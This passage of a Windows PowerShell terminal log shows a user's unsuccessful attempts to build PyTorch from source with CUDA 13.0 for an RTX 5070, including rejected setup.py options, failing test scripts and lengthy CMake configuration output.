-DCUDNN_INCLUDE_DIR="${env:CUDNN_INCLUDE_DIR}" ` >> -DCUDNN_LIBRARY="${env:CUDNN_LIBRARY}" ` >> -DTORCH_CUDA_ARCH_LIST="8.9;9.0;12.0" Building wheel torch-2.9.0a0+git2d31c3d option --cmake-generator not recognized (rtx5070_env) PS E:\PyTorch_Build\pytorch> python rtx5070_test.py ============================================================ Traceback (most recent call last): File "E:\PyTorch_Build\pytorch\rtx5070_test.py", line 39, in <module> verify_gpu_support() File "E:\PyTorch_Build\pytorch\rtx5070_test.py", line 6, in verify_gpu_support if not torch.cuda.is_available(): AttributeError: module 'torch' has no attribute 'cuda' (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 设置编译架构参数 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:TORCH_CUDA_ARCH_LIST="8.9;9.0;12.0" (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 使用正确的编译命令 (rtx5070_env) PS E:\PyTorch_Build\pytorch> python setup.py install ` >> --cmake ` >> --verbose ` >> -DCMAKE_CUDA_COMPILER="${env:CUDA_PATH}\bin\nvcc.exe" ` >> -DCUDNN_INCLUDE_DIR="${env:CUDNN_INCLUDE_DIR}" ` >> -DCUDNN_LIBRARY="${env:CUDNN_LIBRARY}" ` >> -DCMAKE_GENERATOR="Ninja" ` >> -DUSE_CUDA=ON ` >> -DUSE_CUDNN=ON Building wheel torch-2.9.0a0+git2d31c3d option -D not recognized (rtx5070_env) PS E:\PyTorch_Build\pytorch> python enhanced_test.py ============================================================ Python 版本: 3.10.10 Traceback (most recent call last): File "E:\PyTorch_Build\pytorch\enhanced_test.py", line 64, in <module> verify_installation() File "E:\PyTorch_Build\pytorch\enhanced_test.py", line 11, in verify_installation print(f"\nPyTorch 版本: {torch.__version__}") AttributeError: module 'torch' has no attribute '__version__' (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 清除之前的构建 (rtx5070_env) PS E:\PyTorch_Build\pytorch> python setup.py clean --all Building wheel torch-2.9.0a0+git2d31c3d E:\PyTorch_Build\pytorch\rtx5070_env\lib\site-packages\setuptools\config\_apply_pyprojecttoml.py:82: SetuptoolsDeprecationWarning: `project.license` as a TOML table is deprecated !! ******************************************************************************** Please use a simple string containing a SPDX expression for `project.license`. You can also use `project.license-files`. (Both options available on setuptools>=77.0.0). By 2026-Feb-18, you need to update your project and remove deprecated calls or your builds will no longer be supported. See https://packaging.python.org/en/latest/guides/writing-pyproject-toml/#license for details. ******************************************************************************** !! corresp(dist, value, root_dir) usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...] or: setup.py --help [cmd1 cmd2 ...] or: setup.py --help-commands or: setup.py cmd --help error: option --all not recognized (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 设置编译架构参数 (rtx5070_env) PS E:\PyTorch_Build\pytorch> $env:TORCH_CUDA_ARCH_LIST="8.9;9.0;12.0" (rtx5070_env) PS E:\PyTorch_Build\pytorch> (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 使用正确的编译命令(Windows专用) (rtx5070_env) PS E:\PyTorch_Build\pytorch> python setup.py install ` >> --cmake ` >> --cmake-args="-DCMAKE_CUDA_COMPILER='$env:CUDA_PATH\bin\nvcc.exe' ` >> -DCUDNN_INCLUDE_DIR='$env:CUDNN_INCLUDE_DIR' ` >> -DCUDNN_LIBRARY='$env:CUDNN_LIBRARY' ` >> -DCMAKE_GENERATOR='Ninja' ` >> -DUSE_CUDA=ON ` >> -DUSE_CUDNN=ON" ` >> --verbose ` >> --jobs=$env:MAX_JOBS Building wheel torch-2.9.0a0+git2d31c3d option --cmake-args not recognized (rtx5070_env) PS E:\PyTorch_Build\pytorch> # 使用 PyTorch 官方构建工具 (rtx5070_env) PS E:\PyTorch_Build\pytorch> pip install -U setuptools wheel Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Requirement already satisfied: setuptools in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (80.9.0) Requirement already satisfied: wheel in e:\pytorch_build\pytorch\rtx5070_env\lib\site-packages (0.45.1) (rtx5070_env) PS E:\PyTorch_Build\pytorch> python setup.py bdist_wheel Building wheel torch-2.9.0a0+git2d31c3d -- Building version 2.9.0a0+git2d31c3d E:\PyTorch_Build\pytorch\rtx5070_env\lib\site-packages\setuptools\_distutils\_msvccompiler.py:12: UserWarning: _get_vc_env is private; find an alternative (pypa/distutils#340) warnings.warn( -- Checkout nccl release tag: v2.27.5-1 cmake -GNinja -DBUILD_PYTHON=True -DBUILD_TEST=True -DCMAKE_BUILD_TYPE=Release -DCMAKE_GENERATOR=Ninja -DCMAKE_INSTALL_PREFIX=E:\PyTorch_Build\pytorch\torch -DCMAKE_PREFIX_PATH=E:\PyTorch_Build\pytorch\rtx5070_env\Lib\site-packages -DCUDNN_INCLUDE_DIR=C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v12.1\include -DCUDNN_LIBRARY=C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v12.1\lib\x64\cudnn.lib -DPython_EXECUTABLE=E:\PyTorch_Build\pytorch\rtx5070_env\Scripts\python.exe -DPython_NumPy_INCLUDE_DIR=E:\PyTorch_Build\pytorch\rtx5070_env\lib\site-packages\numpy\_core\include -DTORCH_BUILD_VERSION=2.9.0a0+git2d31c3d -DTORCH_CUDA_ARCH_LIST=8.9;9.0;12.0 -DUSE_CUDA=1 -DUSE_CUDNN=1 -DUSE_NUMPY=True E:\PyTorch_Build\pytorch CMake Deprecation Warning at CMakeLists.txt:18 (cmake_policy): The OLD behavior for policy CMP0126 will be removed from a future version of CMake. The cmake-policies(7) manual explains that the OLD behaviors of all policies are deprecated and that a policy should be set to OLD only under specific short-term circumstances. Projects should be ported to the NEW behavior and not rely on setting a policy to OLD. -- The CXX compiler identification is MSVC 19.44.35215.0 -- The C compiler identification is MSVC 19.44.35215.0 -- Detecting CXX compiler ABI info -- Detecting CXX compiler ABI info - done -- Check for working CXX compiler: C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe - skipped -- Detecting CXX compile features -- Detecting CXX compile features - done -- Detecting C compiler ABI info -- Detecting C compiler ABI info - done -- Check for working C compiler: C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe - skipped -- Detecting C compile features -- Detecting C compile features - done -- Not forcing any particular BLAS to be found CMake Warning at CMakeLists.txt:425 (message): TensorPipe cannot be used on Windows. Set it to OFF CMake Warning at CMakeLists.txt:427 (message): KleidiAI cannot be used on Windows. Set it to OFF CMake Warning at CMakeLists.txt:439 (message): Libuv is not installed in current conda env. Set USE_DISTRIBUTED to OFF. Please run command 'conda install -c conda-forge libuv=1.39' to install libuv. -- Performing Test C_HAS_AVX_1 -- Performing Test C_HAS_AVX_1 - Success -- Performing Test C_HAS_AVX2_1 -- Performing Test C_HAS_AVX2_1 - Success -- Performing Test C_HAS_AVX512_1 -- Performing Test C_HAS_AVX512_1 - Success -- Performing Test CXX_HAS_AVX_1 -- Performing Test CXX_HAS_AVX_1 - Success -- Performing Test CXX_HAS_AVX2_1 -- Performing Test CXX_HAS_AVX2_1 - Success -- Performing Test CXX_HAS_AVX512_1 -- Performing Test CXX_HAS_AVX512_1 - Success -- Current compiler supports avx2 extension. Will build perfkernels. -- Performing Test COMPILER_SUPPORTS_HIDDEN_VISIBILITY -- Performing Test COMPILER_SUPPORTS_HIDDEN_VISIBILITY - Failed -- Performing Test COMPILER_SUPPORTS_HIDDEN_INLINE_VISIBILITY -- Performing Test COMPILER_SUPPORTS_HIDDEN_INLINE_VISIBILITY - Failed -- Could not find hardware support for NEON on this machine. -- No OMAP3 processor on this machine. -- No OMAP4 processor on this machine. -- Compiler does not support SVE extension. Will not build perfkernels. CMake Warning at CMakeLists.txt:845 (message): x64 operating system is required for FBGEMM. Not compiling with FBGEMM. Turn this warning off by USE_FBGEMM=OFF. -- Performing Test HAS/UTF_8 -- Performing Test HAS/UTF_8 - Success -- Found CUDA: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 (found version "13.0") -- The CUDA compiler identification is NVIDIA 13.0.48 with host compiler MSVC 19.44.35215.0 -- Detecting CUDA compiler ABI info -- Detecting CUDA compiler ABI info - done -- Check for working CUDA compiler: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/bin/nvcc.exe - skipped -- Detecting CUDA compile features -- Detecting CUDA compile features - done -- Found CUDAToolkit: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/include (found version "13.0.48") -- PyTorch: CUDA detected: 13.0 -- PyTorch: CUDA nvcc is: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/bin/nvcc.exe -- PyTorch: CUDA toolkit directory: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 -- PyTorch: Header version is: 13.0 -- Found Python: E:\PyTorch_Build\pytorch\rtx5070_env\Scripts\python.exe (found version "3.10.10") found components: Interpreter CMake Warning at cmake/public/cuda.cmake:140 (message): Failed to compute shorthash for libnvrtc.so Call Stack (most recent call first): cmake/Dependencies.cmake:44 (include) CMakeLists.txt:873 (include) -- Could NOT find CUDNN (missing: CUDNN_LIBRARY_PATH CUDNN_INCLUDE_PATH) CMake Warning at cmake/public/cuda.cmake:201 (message): Cannot find cuDNN library. Turning the option off Call Stack (most recent call first): cmake/Dependencies.cmake:44 (include) CMakeLists.txt:873 (include) -- Could NOT find CUSPARSELT (missing: CUSPARSELT_LIBRARY_PATH CUSPARSELT_INCLUDE_PATH) CMake Warning at cmake/public/cuda.cmake:226 (message): Cannot find cuSPARSELt library. Turning the option off Call Stack (most recent call first): cmake/Dependencies.cmake:44 (include) CMakeLists.txt:873 (include) -- Could NOT find CUDSS (missing: CUDSS_LIBRARY_PATH CUDSS_INCLUDE_PATH) CMake Warning at cmake/public/cuda.cmake:242 (message): Cannot find CUDSS library. Turning the option off Call Stack (most recent call first): cmake/Dependencies.cmake:44 (include) CMakeLists.txt:873 (include) -- USE_CUFILE is set to 0. Compiling without cuFile support CMake Warning at cmake/public/cuda.cmake:317 (message): pytorch is not compatible with `CMAKE_CUDA_ARCHITECTURES` and will ignore its value. Please configure `TORCH_CUDA_ARCH_LIST` instead. Call Stack (most recent call first): cmake/Dependencies.cmake:44 (include) CMakeLists.txt:873 (include) -- Added CUDA NVCC flags for: -gencode;arch=compute_89,code=sm_89;-gencode;arch=compute_90,code=sm_90;-gencode;arch=compute_120,code=sm_120 CMake Warning at cmake/Dependencies.cmake:95 (message): Not compiling with XPU. Could NOT find SYCL. Suppress this warning with -DUSE_XPU=OFF. Call Stack (most recent call first): CMakeLists.txt:873 (include) -- Building using own protobuf under third_party per request. -- Use custom protobuf build. CMake Warning at cmake/ProtoBuf.cmake:37 (message): Ancient protobuf forces CMake compatibility Call Stack (most recent call first): cmake/ProtoBuf.cmake:87 (custom_protobuf_find) cmake/Dependencies.cmake:107 (include) CMakeLists.txt:873 (include) CMake Deprecation Warning at third_party/protobuf/cmake/CMakeLists.txt:2 (cmake_minimum_required): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. -- -- 3.13.0.0 -- Performing Test CMAKE_HAVE_LIBC_PTHREAD -- Performing Test CMAKE_HAVE_LIBC_PTHREAD - Failed -- Looking for pthread_create in pthreads -- Looking for pthread_create in pthreads - not found -- Looking for pthread_create in pthread -- Looking for pthread_create in pthread - not found -- Found Threads: TRUE -- Caffe2 protobuf include directory: $<BUILD_INTERFACE:E:/PyTorch_Build/pytorch/third_party/protobuf/src>$<INSTALL_INTERFACE:include> -- Trying to find preferred BLAS backend of choice: MKL -- MKL_THREADING = OMP -- Looking for sys/types.h -- Looking for sys/types.h - found -- Looking for stdint.h -- Looking for stdint.h - found -- Looking for stddef.h -- Looking for stddef.h - found -- Check size of void* -- Check size of void* - done -- MKL_THREADING = OMP CMake Warning at cmake/Dependencies.cmake:213 (message): MKL could not be found. Defaulting to Eigen Call Stack (most recent call first): CMakeLists.txt:873 (include) CMake Warning at cmake/Dependencies.cmake:279 (message): Preferred BLAS (MKL) cannot be found, now searching for a general BLAS library Call Stack (most recent call first): CMakeLists.txt:873 (include) -- MKL_THREADING = OMP -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_sequential - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_sequential - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - libiomp5md - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - libiomp5md - pthread] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - pthread] -- Library mkl_intel: not found -- Checking for [mkl - guide - pthread - m] -- Library mkl: not found -- MKL library not found -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Checking for [Accelerate] -- Library Accelerate: BLAS_Accelerate_LIBRARY-NOTFOUND -- Checking for [vecLib] -- Library vecLib: BLAS_vecLib_LIBRARY-NOTFOUND -- Checking for [flexiblas] -- Library flexiblas: BLAS_flexiblas_LIBRARY-NOTFOUND -- Checking for [openblas] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m - gomp] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [libopenblas] -- Library libopenblas: BLAS_libopenblas_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran - pthread] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [acml - gfortran] -- Library acml: BLAS_acml_LIBRARY-NOTFOUND -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Could NOT find Atlas (missing: Atlas_CBLAS_INCLUDE_DIR Atlas_CLAPACK_INCLUDE_DIR Atlas_CBLAS_LIBRARY Atlas_BLAS_LIBRARY Atlas_LAPACK_LIBRARY) -- Checking for [ptf77blas - atlas - gfortran] -- Library ptf77blas: BLAS_ptf77blas_LIBRARY-NOTFOUND -- Checking for [] -- Looking for sgemm_ -- Looking for sgemm_ - not found -- Cannot find a library with BLAS API. Not using BLAS. -- Using pocketfft in directory: E:/PyTorch_Build/pytorch/third_party/pocketfft/ CMake Deprecation Warning at third_party/pthreadpool/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Deprecation Warning at third_party/FXdiv/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Deprecation Warning at third_party/cpuinfo/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. -- The ASM compiler identification is MSVC CMake Warning (dev) at rtx5070_env/Lib/site-packages/cmake/data/share/cmake-4.1/Modules/CMakeDetermineASMCompiler.cmake:234 (message): Policy CMP194 is not set: MSVC is not an assembler for language ASM. Run "cmake --help-policy CMP194" for policy details. Use the cmake_policy command to set the policy and suppress this warning. Call Stack (most recent call first): third_party/XNNPACK/CMakeLists.txt:18 (PROJECT) This warning is for project developers. Use -Wno-dev to suppress it. -- Found assembler: C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- Building for XNNPACK_TARGET_PROCESSOR: x86_64 -- Generating microkernels.cmake Duplicate microkernel definition: src\qs8-qc4w-packw\gen\qs8-qc4w-packw-x8c8-gemm-goi-avx256vnni.c and src\qs8-qc4w-packw\gen\qs8-qc4w-packw-x8c8-gemm-goi-avxvnni.c (1th function) Duplicate microkernel definition: src\qs8-qc4w-packw\gen\qs8-qc4w-packw-x8c8-gemm-goi-avxvnni.c and src\qs8-qc4w-packw\gen\qs8-qc4w-packw-x8c8-gemm-goi-scalar.c No microkernel found in src\reference\binary-elementwise.cc No microkernel found in src\reference\packing.cc No microkernel found in src\reference\unary-elementwise.cc -- Found Git: E:/Program Files/Git/cmd/git.exe (found version "2.51.0.windows.1") -- Google Benchmark version: v1.9.3, normalized to 1.9.3 -- Looking for shm_open in rt -- Looking for shm_open in rt - not found -- Performing Test HAVE_CXX_FLAG_WX -- Performing Test HAVE_CXX_FLAG_WX - Success -- Compiling and running to test HAVE_STD_REGEX -- Performing Test HAVE_STD_REGEX -- success -- Compiling and running to test HAVE_GNU_POSIX_REGEX -- Performing Test HAVE_GNU_POSIX_REGEX -- failed to compile -- Compiling and running to test HAVE_POSIX_REGEX -- Performing Test HAVE_POSIX_REGEX -- failed to compile -- Compiling and running to test HAVE_STEADY_CLOCK -- Performing Test HAVE_STEADY_CLOCK -- success -- Compiling and running to test HAVE_PTHREAD_AFFINITY -- Performing Test HAVE_PTHREAD_AFFINITY -- failed to compile CMake Deprecation Warning at third_party/ittapi/CMakeLists.txt:7 (cmake_minimum_required): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Warning at cmake/Dependencies.cmake:749 (message): FP16 is only cmake-2.8 compatible Call Stack (most recent call first): CMakeLists.txt:873 (include) CMake Deprecation Warning at third_party/FP16/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Deprecation Warning at third_party/psimd/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. -- Using third party subdirectory Eigen. -- Found Python: E:\PyTorch_Build\pytorch\rtx5070_env\Scripts\python.exe (found version "3.10.10") found components: Interpreter Development.Module NumPy -- Using third_party/pybind11. -- pybind11 include dirs: E:/PyTorch_Build/pytorch/cmake/../third_party/pybind11/include -- Could NOT find OpenTelemetryApi (missing: OpenTelemetryApi_INCLUDE_DIRS) -- Using third_party/opentelemetry-cpp. -- opentelemetry api include dirs: E:/PyTorch_Build/pytorch/cmake/../third_party/opentelemetry-cpp/api/include -- Could NOT find MPI_C (missing: MPI_C_LIB_NAMES MPI_C_HEADER_DIR MPI_C_WORKS) -- Could NOT find MPI_CXX (missing: MPI_CXX_LIB_NAMES MPI_CXX_HEADER_DIR MPI_CXX_WORKS) -- Could NOT find MPI (missing: MPI_C_FOUND MPI_CXX_FOUND) CMake Warning at cmake/Dependencies.cmake:894 (message): Not compiling with MPI. Suppress this warning with -DUSE_MPI=OFF Call Stack (most recent call first): CMakeLists.txt:873 (include) -- MKL_THREADING = OMP -- Check OMP with lib C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib and flags -openmp:experimental -- MKL_THREADING = OMP -- Check OMP with lib C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib and flags -openmp:experimental -- Found OpenMP_C: -openmp:experimental -- Found OpenMP_CXX: -openmp:experimental -- Found OpenMP: TRUE -- Adding OpenMP CXX_FLAGS: -openmp:experimental -- Will link against OpenMP libraries: C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib -- Found nvtx3: E:/PyTorch_Build/pytorch/third_party/NVTX/c/include -- ROCM_PATH environment variable is not set and C:/opt/rocm does not exist. Building without ROCm support. -- Found Python3: E:\PyTorch_Build\pytorch\rtx5070_env\Scripts\python.exe (found version "3.10.10") found components: Interpreter -- ONNX_PROTOC_EXECUTABLE: $<TARGET_FILE:protobuf::protoc> -- Protobuf_VERSION: Protobuf_VERSION_NOTFOUND Generated: E:/PyTorch_Build/pytorch/build/third_party/onnx/onnx/onnx_onnx_torch-ml.proto Generated: E:/PyTorch_Build/pytorch/build/third_party/onnx/onnx/onnx-operators_onnx_torch-ml.proto Generated: E:/PyTorch_Build/pytorch/build/third_party/onnx/onnx/onnx-data_onnx_torch.proto -- -- ******** Summary ******** -- CMake version : 4.1.0 -- CMake command : E:/PyTorch_Build/pytorch/rtx5070_env/Lib/site-packages/cmake/data/bin/cmake.exe -- System : Windows -- C++ compiler : C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- C++ compiler version : 19.44.35215.0 -- CXX flags : /DWIN32 /D_WINDOWS /EHsc /Zc:__cplusplus /bigobj /FS /utf-8 -DUSE_PTHREADPOOL /EHsc /wd26812 -- Build type : Release -- Compile definitions : ONNX_ML=1;ONNXIFI_ENABLE_EXT=1 -- CMAKE_PREFIX_PATH : E:\PyTorch_Build\pytorch\rtx5070_env\Lib\site-packages;E:/Program Files/NVIDIA/CUNND/v9.12;E:\Program Files\NVIDIA\CUNND\v9.12;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 -- CMAKE_INSTALL_PREFIX : E:/PyTorch_Build/pytorch/torch -- CMAKE_MODULE_PATH : E:/PyTorch_Build/pytorch/cmake/Modules;E:/PyTorch_Build/pytorch/cmake/public/../Modules_CUDA_fix -- -- ONNX version : 1.18.0 -- ONNX NAMESPACE : onnx_torch -- ONNX_USE_LITE_PROTO : OFF -- USE_PROTOBUF_SHARED_LIBS : OFF -- ONNX_DISABLE_EXCEPTIONS : OFF -- ONNX_DISABLE_STATIC_REGISTRATION : OFF -- ONNX_WERROR : OFF -- ONNX_BUILD_TESTS : OFF -- BUILD_SHARED_LIBS : OFF -- -- Protobuf compiler : $<TARGET_FILE:protobuf::protoc> -- Protobuf includes : -- Protobuf libraries : -- ONNX_BUILD_PYTHON : OFF -- Found CUDA with FP16 support, compiling with torch.cuda.HalfTensor -- Adding -DNDEBUG to compile flags -- Checking prototype magma_get_sgeqrf_nb for MAGMA_V2 -- Checking prototype magma_get_sgeqrf_nb for MAGMA_V2 - False -- MAGMA not found. Compiling without MAGMA support -- Could not find hardware support for NEON on this machine. -- No OMAP3 processor on this machine. -- No OMAP4 processor on this machine. -- MKL_THREADING = OMP -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_sequential - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_sequential - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - libiomp5md - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - libiomp5md - pthread] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - pthread] -- Library mkl_intel: not found -- Checking for [mkl - guide - pthread - m] -- Library mkl: not found -- MKL library not found -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Checking for [Accelerate] -- Library Accelerate: BLAS_Accelerate_LIBRARY-NOTFOUND -- Checking for [vecLib] -- Library vecLib: BLAS_vecLib_LIBRARY-NOTFOUND -- Checking for [flexiblas] -- Library flexiblas: BLAS_flexiblas_LIBRARY-NOTFOUND -- Checking for [openblas] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m - gomp] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [libopenblas] -- Library libopenblas: BLAS_libopenblas_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran - pthread] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [acml - gfortran] -- Library acml: BLAS_acml_LIBRARY-NOTFOUND -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Could NOT find Atlas (missing: Atlas_CBLAS_INCLUDE_DIR Atlas_CLAPACK_INCLUDE_DIR Atlas_CBLAS_LIBRARY Atlas_BLAS_LIBRARY Atlas_LAPACK_LIBRARY) -- Checking for [ptf77blas - atlas - gfortran] -- Library ptf77blas: BLAS_ptf77blas_LIBRARY-NOTFOUND -- Checking for [] -- Cannot find a library with BLAS API. Not using BLAS. -- LAPACK requires BLAS -- Cannot find a library with LAPACK API. Not using LAPACK. disabling ROCM because NOT USE_ROCM is set -- MIOpen not found. Compiling without MIOpen support disabling MKLDNN because USE_MKLDNN is not set -- {fmt} version: 11.2.0 -- Build type: Release -- Using Kineto with CUPTI support -- Configuring Kineto dependency: -- KINETO_SOURCE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto -- KINETO_BUILD_TESTS = OFF -- KINETO_LIBRARY_TYPE = static -- CUDA_SOURCE_DIR = E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 -- CUDA_INCLUDE_DIRS = E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/include -- CUPTI_INCLUDE_DIR = E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/extras/CUPTI/include -- CUDA_cupti_LIBRARY = E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/extras/CUPTI/lib64/cupti.lib -- Found CUPTI CMake Deprecation Warning at third_party/kineto/libkineto/CMakeLists.txt:7 (cmake_minimum_required): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Warning (dev) at third_party/kineto/libkineto/CMakeLists.txt:15 (find_package): Policy CMP0148 is not set: The FindPythonInterp and FindPythonLibs modules are removed. Run "cmake --help-policy CMP0148" for policy details. Use the cmake_policy command to set the policy and suppress this warning. This warning is for project developers. Use -Wno-dev to suppress it. -- Found PythonInterp: E:/PyTorch_Build/pytorch/rtx5070_env/Scripts/python.exe (found version "3.10.10") -- ROCM_SOURCE_DIR = -- Kineto: FMT_SOURCE_DIR = E:/PyTorch_Build/pytorch/third_party/fmt -- Kineto: FMT_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/fmt/include -- CUPTI_INCLUDE_DIR = E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/extras/CUPTI/include -- ROCTRACER_INCLUDE_DIR = /include/roctracer -- DYNOLOG_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto/third_party/dynolog/ -- IPCFABRIC_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto/third_party/dynolog//dynolog/src/ipcfabric/ -- Configured Kineto -- Performing Test HAS/WD4624 -- Performing Test HAS/WD4624 - Success -- Performing Test HAS/WD4068 -- Performing Test HAS/WD4068 - Success -- Performing Test HAS/WD4067 -- Performing Test HAS/WD4067 - Success -- Performing Test HAS/WD4267 -- Performing Test HAS/WD4267 - Success -- Performing Test HAS/WD4661 -- Performing Test HAS/WD4661 - Success -- Performing Test HAS/WD4717 -- Performing Test HAS/WD4717 - Success -- Performing Test HAS/WD4244 -- Performing Test HAS/WD4244 - Success -- Performing Test HAS/WD4804 -- Performing Test HAS/WD4804 - Success -- Performing Test HAS/WD4273 -- Performing Test HAS/WD4273 - Success -- Performing Test HAS_WNO_STRINGOP_OVERFLOW -- Performing Test HAS_WNO_STRINGOP_OVERFLOW - Failed -- -- Architecture: x64 -- Use the C++ compiler to compile (MI_USE_CXX=ON) -- -- Library name : mimalloc -- Version : 2.2.4 -- Build type : release -- C++ Compiler : C:/Program Files (x86)/Microsoft Visual 